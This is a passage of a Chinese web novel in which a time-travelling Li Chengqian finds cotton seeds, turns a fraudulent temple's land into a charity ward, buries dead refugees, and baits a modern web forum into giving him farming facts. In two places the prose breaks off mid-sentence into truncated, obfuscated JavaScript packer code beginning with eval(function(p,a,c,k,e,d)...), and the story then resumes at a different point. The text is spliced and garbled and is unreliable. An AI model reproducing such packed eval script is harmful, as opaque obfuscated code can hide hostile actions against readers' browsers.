李承乾抬眸,就见庙门口一个虎背熊腰的粗犷汉子满面怒容,手中还拿着一个鼓鼓囊囊的袋子,尽管此人看着糙汉,但是一双眼眸却满是精明。 汉子的动作太快,趁众人心思全数都在那场争执中时,他闪身躲开侍卫大步朝李承乾走,然李承乾身边的侍卫也不是吃素的,当即抽刀阻拦。 赵县丞头皮发麻,一眼认出来人:“住手!顾重林,这人不是你惹得起的!” 顾大山恍然惊醒,他慌忙起身拦在李承乾面前,或许已经要失去一个孩子,他不能再失去另一个孩子。 李承乾仓惶后退,但还不忘命令侍卫:“刀放回去不许伤人!” 侍卫不甘心地放回刀出手阻拦顾重林。 顾重林手中袋子一松,咕噜噜滚到李承乾脚边。 李承乾余光一瞥,即将出口的解释抱歉卡在喉咙口。 袋口张开,露出一节洁白细腻的布,一旁是大团蓬松柔软的白色。 这是……棉?! 李承乾瞪大双眸,他的目光飞快搜索,那袋子深处还有一粒粒圆滚滚的种子。 李承乾口干舌燥头晕目眩,心跳得仿佛要蹦出胸口。 吵嚷声,争执声,讥讽声,各种声音混杂一处。 终于,一道苍老而又响亮的声音盖过所有。 “都住手,你们是想害死十二吗?!” 现场霎时一静,随后一声声虚弱的咳嗽响起。 “阿耶,大兄?” 7. 意外收获 “小弟!” 顾重林当即停止反抗,李承乾惊喜回眸,就见顾十二正被孙思邈搀扶着半坐起身子,虽然出口的声音依旧虚弱,但精神头却是不错。 李承乾仗着短腿从人群中挤过直奔顾十二床前,上手抚摸额头测温。 孙思邈没好气道:“醒过来就代表熬过去了,只是还有余热,再将养几日便差不多了。” “我小弟没事?” 孙思邈摇头:“这疮痘都没了,他这个高热久久不退只是同他小时候的身子落了病根有关系。” “说起来你是这十二的兄长,你怎会不认识小郎君?” 孙思邈心中琢磨着,顾十二瞧着面白无须,声音也格外软,应是宫中内侍,兼之那小郎君先前自己说和秦王有些关系,大致的身份也能猜上一二,无非就是皇亲国戚。 只是自家弟弟给人做了内侍,做兄长的居然不知道弟弟伺候的主上是谁,奇怪。 顾大山安抚着顾重林,生怕顾重林一张嘴又是不好听的话赶忙接口:“我这大儿早几年一直在外走商,不常回家,对十二的事情知晓的也不多。” 处处打仗的那几年这顾重林居然能安安稳稳地走商?本事不小啊。 李承乾给十二喂水,他的目光再次不由自主移到摊开的袋子上头。 先前着急得险些当场嘴上冒泡的赵县丞长舒口气,一时间居然是不知道惊叹顾十二居然真的无事醒来,还是要庆幸李承乾这宝贝疙瘩无事。 正心情复杂间听到顾大山此话,他也跟着点点头:“顾重林走商的本事可大咧,整个泾阳县都是有名的,听说每次归家都能带回一大堆宝贝,只是他也不久留,回来个七八日就又走了。” 顾大山见顾重林眸光逐渐深沉,他这才凑近耳语李承乾的身份讲述前因后果。 顾重林不语,打量着李承乾,敏锐地察觉到他弟弟对李承乾的依赖,以及……李承乾对地上他带回来的袋子的渴望。 顾重林挑眉,揉揉顾十二的脑袋转头面向李承乾,再度开口时语气是恳切又歉意的:“方才是我念弟心切,对小郎君多有得罪。” 说着顾重林捡起袋子递到李承乾跟前:“这本是我外出带回给小弟的小玩意,既然小弟跟着小郎君,这东西我便给了小郎君,权当赔罪。” 不愧是商人,为人处世确实圆滑非常。 后知后觉的疲倦涌上,李承乾压不住咳嗽:“误会一场不必在意,我只是很好奇袋子里头的是何物?” 顾重林垂眸沉吟:“这确实算稀罕玩意,西域那边传来的,这些种子是我一高昌友人偶然得之赠予的我。” “这玩意叫白叠子,做出来的布又好摸又好看,不过过程极其繁琐。” “且这布是我友人自己做来玩的,大部分人种它只是为了好看。” “说了许多,实则在这东西也只是在小小一地流行,高昌本土种的不多。” 果然是棉花,隋唐时期这棉花就叫做白叠子。 只是最初的兴奋劲后李承乾当即冷静下来。 其实很容易想明白,古人又不傻,既然这种东西那么早就传入了中国,那么为何真正大规模推广开来是要等到元明之际? 棉花本身的虫害病症和加工棉花的工具,这些都是大问题。 就如顾重林所言,技术工具不到位,成本人力无法压下,一切都是空谈。 不幸的是,李承乾不仅是纯纯正正的文科生,而且因为幼时经历他的技能点都点到怎么“坑蒙拐骗”上去,种田和动手那是一窍不通。 李承乾接过袋子轻叹口气,慢慢来吧。 棉花是经济作物,现在国家穷饭都吃不饱,地或许够用,但经过隋炀帝这一通霍霍,根本没有人口来大规模种棉花。 想到这李承乾又打起精神,小心翼翼收好袋子看向顾十二:“十二,等明日你就要和那些发病的人吃喝在一处,再具体等上小半个月,若一切无事便大功告成。” “不过你这底子还是不行,等事成之后我叫人给你多补补,这几日你实在是吓着我了。” 孙思邈无奈摇头:“瞧瞧你小子眼下的青黑,总算人无事,还不快去歇息。” 李承乾笑笑,刚想应声余光不自觉瞥到那几个早就面色惨白一言不发的和尚那去了。 差点忘了这几个人。 老和尚自从看到顾十二醒来就知道那场赌约自己是输定了。 可是为什么?! 这从古至今无人可防的豌豆疮居然真的有法子防?! 而知道这个方法的还偏偏是孙思邈的弟子,偏偏是一个八岁左右的奶娃娃,世道何其不公! 李承乾才不管老和尚心中如何作想,掐指一算,好似也快到每日宋村正来看顾十二的时间了。 他眼珠一转对站在他们身边的赵县丞开口。 “赵县丞,我送你一场功绩如何?” 早被乱七八糟事情搅和得险些忘记赌约的赵县丞一愣,就听李承乾细声细气道:“如今长安换了主人,秦王是什么脾性想来不用我对赵县丞多说。” 盯着李承乾的笑,赵县丞心砰地一跳。 “秦王最是关注官吏考核,这其中就包括分地一事。” “武德早年秦王还代表陛下巡视京师以东的春耕情况,可惜后来战事频繁到底是耽搁了。” “赵县丞,我与那群和尚之间的赌约本就是公开严明众人皆知……” “你无耻!” 小和尚嗓音尖细骤然打断李承乾的话,正双眸发亮的赵县丞不满地瞪了小和尚一眼,终于拿出一点当官的架势:“这可是本官亲耳见证,你们这帮和尚莫不是要耍赖?!” 李承乾不着痕迹地朝庙外看去,瞧见熟悉的身影,他思索片刻当即语带嘲弄:“所以你们并非真心实意想要献田?我还以为你们道济寺名声在外,没想到原也是欺世盗名的小人。” 小和尚气得涨红了脸:“分明是你无耻诱骗,一群刁民,我师父愿意出手已是天大的福分,你们怎知我们肯定治不好?不识好歹果然是不要脸的泼皮,死了活该!” “师傅?” 老和尚悚然一惊,小和尚嘴巴太快,他要阻拦时已经来不及了。 老和尚绝望闭眸。 小和尚慌张眨眼,身形颤抖。 照常来这边看看情况的宋村正怎么也想不到,这顾十二是醒了,可他们花大价钱请来的和尚们却是满嘴的无耻刁民。 宋村正面色难看,人家直接撕破脸皮,他又何必热脸贴冷屁股。 想想以前请道济寺和尚做法事,钱拿了心里却指不定怎么骂他们呢。 宋村正呼吸急促:“既然这位小郎君和孙老神仙都说没法根治,也用不着几位师傅出手了。” “铜钱权当几位师傅的过路费,只是那些绢帛还望师傅体谅体谅我们的日子不易,还回来吧。” 李承乾耐不住额角渐渐泛起的疼痛,但还是坚持补刀,只是声音有些虚弱:“还有赌约。” 孙思邈当即给他诊脉,奇怪,脉象只是太累了。 无奈之下孙思邈只好半扶李承乾让他借力不那么累。 老和尚心在滴血。 这宋村正在一带是十分有名望的人,鱼死网破,坏的是自己的名声,是整个道济寺的名声,这要叫他往后如何再招摇撞骗?! 但就算妥协,这被宋村正退货且绢帛丝毫不差退还的事情传出去,又哪里不会叫人心生疑惑。 他的道济寺就扎根在这一带,这生意也是直接被毁了。 难不成要他带着这好几十张嘴一道跑去别的地方吗? 可因为赌约他们连良田都要丢了,哪来的本钱跑路。 那可是靠近水源土质位置都绝佳的田亩啊! 一切都毁了。 可偏偏他还得打碎牙齿往肚子里咽,因为这边还有一个跟野狗遇上骨头流口水的赵县丞。 他根本不可能鱼死网破,只怕他这头一破,赵县丞就会将今日之事传开,死得更快。 苟延残喘和当即暴毙二选一,该死的臭小子! 肉眼可见这是份白来的功绩,关乎到自身,根本不用那小子催,赵县丞以及他身后的官府第一个不会放过他们寺庙的上百亩良田。 可真是好手段。 自己摘得干干净净,又有人巴不得为这事出力,那小子真的才八岁吗?! 瞧着老和尚铁青的面容,从方才起便听自己小弟讲述赌约经过的顾重林意味深长地看向李承乾:“如今太安村突发疫病,青壮幼童死了不少,无家可归的老人妇人亦不算少数,这良田再多也需要人手来种。” “要我说这上百亩良田给上一半也就差不多了。” 老和尚憎恶地看向顾重林,这个时候来插一脚他不认为这人是在帮自己。 李承乾懊恼,到底出生工业时代,是他忘了中古年代耕地都是件又累又麻烦的事,没有足够的人手和沟渠都是白搭。 李承乾琢磨着顾重林的话,无家……他想起来时路上那对母女,想起唐中后期和宋朝时这些佛寺的另外一个功能——悲田院。 李承乾蹙眉,他不喜部分僧人敛财欺世,可隋末唐初佛教寺庙的盛行何曾不是因为乱世太过艰难,百姓只能转求精神寄托。 不过悲田院这等福利机构发展的代价就是寺庙经济横行,天下十分之财佛有七八,于国于民都不是件好事。 这项举措正反影响都太大,目前还不是他能把握的。所以他也只敢在小范围内尝试,由官府半接手而非寺庙自主开办,多少算是监督。 正好一个被抓住把柄的道济寺是最好的实验田,借此完全可以架空他们由官府半做主。 除非老和尚是真的想身败名裂滚出长安,连最后一点钱财和体面都捞不到,想着李承乾哂笑:“咳咳,是啊,上百亩良田当前分一半足矣。” “另一半还归道济寺,不过我要你们在良田旁这一块地赡养太安村此次疫病中家破人亡的老幼妇孺,这可是你们心心念念的功德慈悲啊。” 说着李承乾冲赵县丞示意:“此乃仁政,我需要赵县丞帮忙寻找得力的副手从旁协助道济寺。顺便反正都在离太安村不远的地界,宋村正也可以时时去看看,免得这好好的仁政被败坏。” 宋村正从方才起就是茫然的状态,这会也只是机械般点头。 老和尚面色惨白,几乎是瞬间就明白了李承乾话语背后的深意。 如李承乾所料,老和尚只是颤抖着唇瓣不发一言。 这是能重得百姓信任的措施,他选择闭嘴选择做人畜无害的泥像,他才能在长安待下去。 可这样的日子简直比他杀了他还要难受,钝刀子割肉不说,还得伺候来寺庙吃白饭的刁民,疼呐。 赵县丞怔愣:“用道济寺的田亩与和尚来施善心吗?” 只要规模不大,钱粮人手倒都是齐了。 李承乾点头,带上丝暗示:“新朝新政新人,秦王喜欢的同陛下喜欢的可不一样。” 赵县丞当即一凛:“那小郎君觉得这般地方该叫什么名字好?” 李承乾一顿只觉心脏诡异抽疼,腰间好似莫名发烫,是玉佩吗? 但烫意下一瞬便消失,应是他的错觉。 李承乾本能握住玉佩,他舔舔干涩下唇:“悲田养病坊。” 人群中,顾重林对上李承乾的视线。 一个足够精明的商人。 一个似乎可以投资的未来太子。 二人同时在心中下定论。 李承乾收回视线看向老和尚,语气冷淡:“多行不义必自毙,往后记好了。” ***35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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杜如晦轻“哦”一声:“那泾州罗艺和豳州张瑾一个亲近废太子一个忠心陛下,偏偏二人的防区还在突厥南下的必经之路,可真是好位置。” 李世民眯眸:“这个时候若是急召二人回长安,只怕狗急跳墙的可能性更大。为着地方稳定不好轻举妄动。” “好好防御突厥也就罢了,可若是敢……别怪我不留情面。” 杜如晦点头:“若他们真那么愚蠢倒是方便大王事后筛换一遍州县官吏,臣与玄龄会加紧整理出一批可用之人。” 李世民满意地拿过密报看着,嘴上不停,毫无阻碍地接上他先前的话头:“不仅如此,权为其一,利为其二。” “此法若是全然要当地官吏乡绅出钱,只怕不妥。” “想要种痘,一人出三十文亦或同值绢帛财物,一地一天不许太多,至多三百人。” “钱财□□而分,朝廷走六,当地走四,与其遮遮掩掩,不如大大方方。” “其余我皆可睁只眼闭只眼,唯独价钱方面只能限制在三十文,也不可强行逼人接种牛痘,接种百姓须得严格登记在册,按人痘牛痘之说,先接种的必要是身体康健的。” 刘神威喃喃:“小儿多易得豌豆疮,最好先紧着幼童,只是年岁也不可太小,若是身子骨垮了反倒会坏事。” 到时候有心人随便说些闲话向牛痘泼脏水,后果不堪设想。 李世民沉吟:“嗯,接种流程也需定好详细准则,不可欺骗隐瞒,风险甚至会死人都要提前告知。我也会派出朝廷官员巡视节制。” “同时痘苗只能掌握在朝廷手中,甚至人痘之法也得谨慎对待,以防有人胡乱作为害人性命。” “有权有利,不怕他们不尽心。” “便先由太安村为始,刘神威,要麻烦你师父献策官府造势。” “几百人又怎么可能足够试验呢?” “一县一州,甘为天下先呐。” “不患寡而患不均,也就不仅仅局限一县一州了。” 李世民话落,犹如一柄出鞘利刃,泛着冷意锋芒十足。 刘神威不清楚这其中弯弯绕绕,只是详细看了李承乾信中所描述的法子道:“大王,前一日师父递信只言他此刻就在太安村,倒是巧。” “除此之外便是大王前些日子的以接种牛痘后的人为痘苗源的法子师父也在信中提过,可行。” “他要我告知陛下此等大善之法,可估摸师父也不知晓自己恰巧遇见过小殿下,小殿下已将此法献于陛下。” 还好孙思邈为人行踪不定,刘神威没法与他时刻通信,且孙思邈也不是多话的人,不然李承乾的谎言直接就会被揭穿。 “如此倒是可以利用太安村接种过牛痘的人生出的痘疮。” “暂且将这批人提出的痘苗妥善保存,作为第一批接种来源。” “有了第一批痘苗后,依臣的想法可以寻些鳏寡孤独的给钱试之,也算是叫他们能得些钱财傍身。” “循环往复便可翻倍增加,也就不必担心痘苗短缺。” 杜如晦听得连连点头,但很明显他的心思还琢磨在一人三十文上头,他眼眸一眯,这才有些后知后觉道:“三十文……大王定的这个价格实在是妙。” 房玄龄一丝不苟处理政事,心中感慨杜如晦的反应是越发慢了,暗暗腹诽还不是偷闲所致,以后得撺掇李世民多派些公务给他。 李世民挑眉:“克明有何高见?” “商贾有哪个不求名的?只要有人先带头,这么些小钱便能换得百姓欢心方便自己的生意,与其将钱扔到寺庙或者他处连个响都听不得,何不换取自己的好名声?” “百姓高兴了,当地官吏高兴了,偏偏这代价不过几贯钱财,如此便能轻松了百姓,实在妙极。” 李世民轻笑,语气是说不出的狡黠:“这是他们心甘情愿的,我可没逼啊。” 8. 奇妙论坛 十日后。 李承乾放下来自长安的书信,心中暗叹自家老爹恐怖的行动力。牛痘才起了个头,他家老爹就已经规划出了大致的前路。 不愧是他在网络上为其“舌战群儒”的男人。 李承乾正满意自己的眼光,一道轻糯女音响起,人未至声先到:“这位小郎君便是阿翁所言的少年英才?” 如今已经生龙活虎的顾十二探头,认出来人后向李承乾低语:“是宋村正的孙女,今岁刚过十五,不幸发病但在三日前熬过来了。” 说话间一位灵动娇俏的小娘子蹦跳着走近,言笑晏晏:“小郎君唤我宋夏至便好。” 李承乾在小娘子面庞的麻点处停留许久,心中倒是颇为可惜。但听着宋夏至轻快的嗓音像是没受半点影响,一时又欣赏她坚韧的心性。 “不知宋娘子寻我何意?” 宋夏至眼波流转:“我想去照顾发病和接种牛痘的人,但如小郎君吩咐的照顾我却从未见过。” “我怕自己做的不好,便先向小郎君来讨教一二。” 宋夏至不提还好,这一提倒是让李承乾曾经隐约浮现的念头再度清晰。 李承乾抿唇:“没什么,都是些常用的法子,只不过我所要的更加细致更加全面也更加规范,这些我都与师父提过。” “宋娘子跟着我师父从旁学习就好。” 李承乾说着直视宋夏至若有所思的眼眸:“冒昧问一下宋娘子,你是单纯想要帮自己村里的人,还是有什么其他原因?” 宋夏至眨眨眼,唇角挂上浅笑:“小郎君想必不知道,在你与孙公来之前太安村日日都在死人。” “那个时候我们发病的人都挤在一处,他们有的满脸疮痘痛苦哀嚎,有的整日发热嘴里喊着阿娘……” 宋夏至眼睫轻颤,深吸口气:“可是我记得很清楚,那人阿娘早在昨日就死了,全身上下几乎找不到一块好肉。” “一睁眼一闭眼就会有人再也醒不过来。” “来照顾我们的人也只是紧着吃食,所有人眼里透出来的都是死气。” “我以为我会死在那里,死在那个满是污秽的黑漆漆的屋子里。” “可自小郎君来之后,屋子变的亮堂又干净,被褥日日都换洗,连我们都可以日日被擦拭身子口鼻。甚至还有人背着小郎君特意编出来的小故事逗大家开心。” “那个时候我想,这多好啊,就算要死我好像也没那么怕了。” “可小郎君却比我想的还要好,会嘱咐人给我们熬药,喝的是热水吃的是热食,连糖都能日日吃到。” “活下来的人远比我想的多。” 宋夏至眼眸泛起星光,麻子无损她的灵动,她语气坚定:“我也活下来了。” “原来活下来是这种滋味,比我吃过的糖还要甜。” “所以小郎君,我也想要别人尝尝这样好这样甜的滋味。” 李承乾无意识摩挲玉佩,听到这样一番质朴却又全然真意的话,他觉得眼前的一切好似在这一刻慢放。 他能看清顾十二被因为感动而泛红的眼眶,也能看清宋夏至身上毫不遮掩的温柔坚定。 李承乾笑笑:“那你可得跟着孙思邈认真学。” 宋夏至转身挥手:“肯定不会让小郎君失望的。” 李承乾盯着她的背影良久。 他想,他好像找到了一个合格的护士。 而一个合格的护士,一整套合格的护理体系,在中古时代,真正能让其大放异彩的是伤兵营。 这是后世提灯女神南丁格尔带给他的底气。 *** 马车上,李承乾拿起手边纸张,映入眼的是端正的字迹。 紧赶慢赶,终于解决了原主的字迹问题。 李承乾伸伸懒腰。 为了后续更好地接种,他与赵县丞经过商议,提出可以使用鹅毛管来存储一部分痘苗作为第一批来源。 除此之外,他在太安村呆了两个月,扼制了死亡蔓延,做到了太安村多数人接种牛痘,田顺利分配,一些家破人亡的老幼妇孺也被道济寺好好安置。 诸事已了。 李承乾到底身份不便不能在外久留,至于还有些后续收尾只能靠他留下的医工和孙思邈照看。 孙思邈对他提出的所谓“护理”之说很感兴趣,也很欣赏宋夏至的勤奋耐心,故而早早与李承乾做下约定,等此间事了就带着宋夏至来长安寻他。 李承乾对此无异议,只是叮嘱孙思邈这牛痘之说自己最先是借的他的名头。 孙思邈虽不愿抢功,但多少猜得到李承乾的身份,估摸这臭小子的说法已经在秦王跟前过了明路,为了替臭小子保密他也不便多说。 至于什么时候见面,在哪里见面,反正牛痘要推广李世民肯定要召孙思邈入宫,李承乾也就懒得再多做安排,默许之后开开心心坐上了回程的马车。 顾十二照常替小殿下备好吃食,瞧见小殿下满脸春风得意的模样,又想到自己因为首试牛痘之功整个人轻松不少,半开玩笑道:“小殿下简直是神仙下凡,如此功德实在了不起。” 李承乾笑嘻嘻,被人吹捧谁不喜欢呢? “哪有,光靠我一人可做不来,都是大家的功劳。” 话虽如此,李承乾眼底的兴奋是半分不减。 顾十二好笑,刚想顺着毛撸一撸,谁料马车停下了。 李承乾掀开车帘,就见宋村正感激地拿着个袋子:“这里头都是各户乡亲送给小郎君的小玩意,我知小郎君富贵,但终归是大家的一份心意。” 李承乾没有接过,脸皮厚成城墙的他罕见有些不好意思:“倒叫诸位破费,夺人所爱实在不是君子所为。” 宋村正一笑:“天下苍生尚且感激小郎君又何况是我们?不打紧的,原先是我轻看小郎君,是我的不是。” 李承乾眨眼:“我这么小,说出的法子又闻所未闻,村正犹豫很正常,这不正体现村正心系乡亲吗?” “若村正轻易接受我的说法,我反倒要疑心村正咧。” 宋村正被李承乾的嘴甜逗得忍俊不禁,他将袋子塞到李承乾手中,二人之间最后一丝尴尬也消失不见:“不知小郎君可否告知名姓,我们也好为小郎君祈福塑像。” 李承乾笑语:“某姓李,不过无需为我祈福,这本就是我的责任。” 话落李承乾微怔,心中自嘲,还真是张口闭口责任,说多了也就当真了。 宋村正皱眉,想着这两月来李承乾话中对秦王的熟稔,想着他方才的那句责任,想着他的年龄,想着他的姓氏,一个不可思议的念头骤然冒出,他急切开口:“小郎君莫不是……” 可惜车轮滚滚,只瞧见前方左右挥舞道别的手。 其余的便都看不清楚听不清楚了。 李承乾简直笑得合不拢嘴。 拯救了一个村的百姓,还被这么多人念着崇拜着,无与伦比的自我满足感充盈心头,他干脆没合上车帘就这么趴着看风景,耳边还是顾十二欢喜的吹捧。 嗯,神仙下凡,真好听。 嗯,大善大德,有道理。 保下了顾十二,他只要不作死就是稳坐太子之位,这往后的日子简直太美妙了。 自穿越来所有的重担在这一刻卸下,李承乾哼着歌脑中畅想着美好的未来,只觉得躺平摆烂的懒虫生活在向他招手。 畅想中,一道亮光划破天际。 李承乾皱眉,随即一声响轰隆炸开。 要落雨了。 莫名的不安隐约浮现,耳边是顾十二悉悉索索解开袋子的声音。 他果然讨厌雨天。 李承乾蹙眉刚想放下车帘,一抹红色闪过他双眼。 李承乾骤然停下动作。 他看到了。 杂乱的草丛边,那是一只破旧又眼熟的荷包。 暗沉的天色中,那是唯一一抹红。 李承乾瞳孔紧缩,脑子嗡嗡作响,他忽然直挺挺朝马车窗探出小半个身子。 他看到了。 荷包旁,那是一双毫无生气的手。那样小,不过是个小孩,可能也同他没什么分别。 “……小殿下……” 耳边的声音愈发混沌,李承乾愣愣转身:“你说什么?” 顾十二一脸茫然,但依旧掩不住面上的欣喜,他从那个袋子中拿出了一个漂亮又朴素的祈福绳结。 “奴说,小殿下要来看看百姓送给小殿下的礼物吗?” “红色的绳结,可好看了。” 李承乾觉得自己此刻的表情一定很难看:“停车——” 李承乾从来没有如这一刻般觉得命运是如此荒谬,便是穿越这事都远不及眼前。 他踉跄下车,迈步走向那一处草丛。 雷鸣与顾十二惊慌的叫喊好似被蒙上一层厚布,远在天边听不真切。 他像是回到了那个刚刚穿越的夜晚,迷茫恐惧一并涌来。 李承乾半蹲身子,沉默地拨开杂乱的枝叶。 世间果然没有奇迹。 扑鼻而来的是浓烈的难闻的气味,是两张半边腐烂的面庞,是两具伤痕累累骨瘦如柴的……尸体。 明明就只远远见过一面,明明就只草草瞥过一眼,可他偏偏能将记忆中的画面与眼前的完美对应。 是那对他一时心善救下的母女。 两个月的时间如白马过隙,顾十二与太安村村民的感激尚且在耳,躺平摆烂的美好幻想犹在脑海,但这对母女却如幻想世界中的一点浓墨,彻底撕裂了李承乾所有的自欺欺人。 脚步声响起,李承乾似乎有些不明白,他就这么仰面抬首看着顾十二。 李承乾忽而自嘲,特权迷人眼财帛动人心,过了两个月人上人的日子,就忘了从前幼年的自己是什么境遇,遑论封建时代最底层的百姓。 顾十二震惊地看向两具尸体,见李承乾不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“奴才不管大王是如何想的,大王的所行都是在庇佑我们不是吗?” “这对母女想来是家中无人,若非如此何苦狼狈出逃流浪。” 顾十二踟蹰片刻起身朝身后大气都不敢出的侍卫招手,示意他们上前。 “或许是钱财被抢,或许是遇上匪患,也或许是别的什么原因,活不下去了。” “小殿下,如今主上已换,奴想,大王会给大家一个不一样的未来的。” “这样的母女在陛下的治理下定是会越来越少的。” 顾十二接过侍卫递上的长刀,虽然重了些但挖个坑还是绰绰有余。 顾十二笑了笑,或许是这段时日以来李承乾的改变让他生了勇气,他朝李承乾伸出手:“小殿下可还记得陛下前些日子下发的诏令?” “收敛路途中自隋末以来无人掩埋的骸骨,孤魂回,白骨归,告诉他们……回家了。” “曝尸荒野,遇上便是有缘,小殿下,一起吗?” 李承乾搭上顾十二的手,沉默起身。 他依旧凝视着那对母女。 李承乾轻笑:“长治久安,安居乐业,我相信阿耶能做到。” 历史上的贞观之治,李世民已经证明了这一点。 “阿耶求一个安稳,我亦如是。” 他本就是异世的灵魂,本就见过不属于这个时代的美好,本就听过不属于这个时代的震音。 他想要试试,试试同历史上的李世民一起,求一个天下长安。 *** 承诺言犹在耳,李承乾迷瞪地环视四周,熟悉的白色空间,是他穿越那日晕厥过去后发现的场景。 李承乾陷入不解,他皱眉想了好一会才记起自己在帮那对母女收敛尸骨之后因为心情震动又在雨中太过劳累,然后他又晕厥了过去? 想到这李承乾赶忙抬头,眼前果然是上一回那部手机。 第二次了。 这两次进入如果硬要说什么共同点,跟血无关,反而是跟他身虚体弱晕厥过去有关。 莫不是这玩意的进入是同这个有干系? 李承乾眉眼下压。 他怎么也想不到他可能的金手指居然还是跟他身体健康绑定的。 如果真的是跟晕倒绑定…… 历史上李承乾连三十都没活到,更不要说他隐约觉得他穿越的李承乾的身体比之史书上的更加糟糕,那他还要不要长命百岁了。 不过话说回来这个金手指也是个鸡肋吧。 李承乾一面想着一面再度打开手机熟练地登上论坛。 【求推荐,有没有写的好的历史文?】 【天呐,谁来救救我,为什么我写的小说新章全是对话!】 【xx氵,你们看最新章了吗,剧情太炸裂了!】 …… 都是些网文论坛无聊又常规的帖子,李承乾正想着滑动屏幕的指尖一顿,一个标着热的帖子映入眼帘。 【刚看完某本隋末小说有些感慨,大家觉得除了杨广还有谁配得上罪在当代利在千秋?】 9. 鸡飞狗跳 这不是网文论坛吗? 等等,好像不冲突啊,网文里不也有历史文这一大系吗? 莫名的直觉只窜大脑,他下意识舔舔唇点进那个贴子。 果不其然,一看就是引战的贴子,根本无人关心其他。 最高赞是幽默的嘲讽:是啊,广神确实功在千秋,要不是他励精图治搞出个外有蛮夷并起内有人口骤降一大半的地狱级副本,我们也很难看出李二的能力上限在哪里,听我说谢谢你广神! 第二高赞则是:广大帝分明是罪在当代害在千秋,还利在千秋北齐北周表示你可闭嘴吧。 第三高赞……李承乾难以言喻心中的欣喜。 因为第三高赞的内容是一个用户叫【青天】的长篇大论的回复,其中引用了大量文献。 密密麻麻详实的史料,有理有据的逐点反驳,严谨幽默的口吻,看得人酣畅淋漓。 李承乾深吸口气点见【青天】的头像,里面有按时间顺利展示的回复与主题,李承乾飞速下滑屏幕。 这是个文史大佬,在各个沾边历史的贴子回复。同时也是个纯粹的爱好科普且很闲的人,要不然怎么每天都有至少几十个回帖。 吵架互甩史料资料,这就是他最熟悉的“史圈打架”的经典吵法,他忽然产生了一个绝妙的念头。 他没有穿越小说里主角“人形百度”的本事,可他有论坛啊,他有随时可以搜索资料的现代人作为后援。 唯一要关注的就是如何短时间内得到回复,但这不是问题。 不就是引战炒热点嘛。 李承乾心脏砰砰,心动不如行动。 鬼知道他下一次能再登论坛得是什么时候,他总不能作死自残让自己晕厥吧。 李承乾颤着手良心痛了一秒钟后果断打出一行字。 【明末皇帝为什么不去推广土豆红薯,白白让异族入关掐断了资本主义的萌芽,要还是明朝统治多好,清朝就是垃圾。】 完美,李承乾默默给自己比了个赞。 史圈两大撕自带流量,一曰三国二曰明清。 拉一踩一的作用这不就显现出来了吗? 李承乾敢笃定,不出半个小时,这个贴子必定吵起来标红为热,而那个喜欢到处凑热闹的【青天】一定会回帖,只要他再稍加引导就能空手套白狼些关于古代粮食农业的资料。 果不其然,还没有十分钟,贴子已经有了十几个回复。 1L:一看注册时间。 二看发帖数量。 得出结论,一贴小号引战,满意离开。 2L:哟,ID不是大唐太子殿下吗?你自家的鲜卑论搞明白了吗?何况清军入关有什么不好吗?明末都烂成那鬼样子了,建议看一下南明史治疗低血压。 3L:楼上的又一滴血鲜卑论是吧,照这样说野猪皮后人还半身汉人血呢,有种别双标。 4L:虽然楼主你的标题显得很文盲,但是只要你吹明我们就是好朋友!我大明终其276年,不和亲不纳贡不割地不赔款,天子守国门君王死社稷,我大明天下无敌! 5L:靠,一时竟然不知道4L是反串还是真心的。粉人我能理解是慕强,居然还有人真心实意无脑吹朝代的,哪个朝代不一堆烂事。 6L:一击脱离一贴小号,营销号滚。 …… 果不其然,吵得还挺激烈,李承乾哼笑着下场。 【我真的是大唐太子殿下】:大家别吵啊,楼主只是看了本穿越明末的小说有感而发,所以直到现在还是没人能告诉我为啥明朝皇帝不推广土豆红薯。 28L:不要再打了.jpg,楼主你装什么呢,营销号引战狗死全家! 【我真的是大唐太子殿下】:楼主不是营销号,真的只是好奇,穿越小说不都拿土豆红薯玉米当利器吗,还是说现在有什么新套路? 任贴子里的大伙如何吵架如何用难听的话骂他,李承乾岿然不动,理也不理吵架的人,只不停复读土豆红薯玉米。 终于有人看不下去了。 98L:可怕,前面全在吵架,根本没人理你这个白莲花啊,哦也不对楼主亲戚倒是被问候不少。 99L:怎么感觉楼主傻乎乎的,什么活在远古的人,骂人都不会只专心致志复读,我居然有点佩服…… 100L:看烦了,本人不参与明清互撕,单就对楼主的问题说几句。 玉米要大量的水,土豆要脱毒,红薯虽然相对稳定但是含水量过高,长期储存要冷库或者制成薯干,古代条件不足不能大规模推广。 101L:感动中国,楼上你居然在认真回答。 纷纷扰扰中,一个眼熟的ID闯入。 是那个会甩史料文献的大佬【青天】。 【青天】:抛开吵架单就楼主的问题,感觉还是现在作者写得太过简略让很多人有误解。诚如100L说的,穿越三宝问题都挺多的。 尤其是土豆,不经过严格育种多种几年,种子毁了土地肥力也毁了。其实直到清末美洲三产物占粮食比例不过五分之一,明末甚至还不到十分之一,皇帝推广还不如多花钱赈灾管用。 120L:大佬真是好脾气,对营销号科普都一视同仁,又是佩服大佬的一天。 121L:别被大佬骗了……他很记仇的,别问我怎么知道。 李承乾嘴角一抽默默打字,心中腹诽又不是论坛管理员能怎么记仇。 【我真的是大唐太子殿下】:这样吗,可是如果这些不管用那穿越者该拿什么呢?水稻小麦古代都有啊。 125L:百度不会吗,别告诉我楼主你穿越了。也就青天大佬好脾气,说起来青天大佬现实不会是大学老师吧,感觉还挺享受科普教授的过程。 【青天】:看你穿越时代喽,宋以前好好研究占城稻顺便搞些杂交育种,明清科技上来了除却育种还可以研究肥料,顺便肥料不完全等于化肥(氮肥)。 化肥难度很高,连我国都要七八十年代才能完成自给自足。玩过《文明》吗?点科技树的时候化肥后头就是一战的那些玩意了。 能手搓化肥谁还种田啊,都玩毒气炸药征服天下去了。 开个玩笑。 128L:哈哈,大佬说的对,但你这是工料化肥,我们文科生穿越用的都是骨粉磷肥。 李承乾呼吸一紧,占城稻这个他理想的玩意终于提到了。 可惜他对这个了解不多,局限于做题做到过,只知道这玩意自中南半岛传入,宋朝有过推广,很好,然后没了。 【我真的是大唐太子殿下】:占城稻?我怎么没听过。 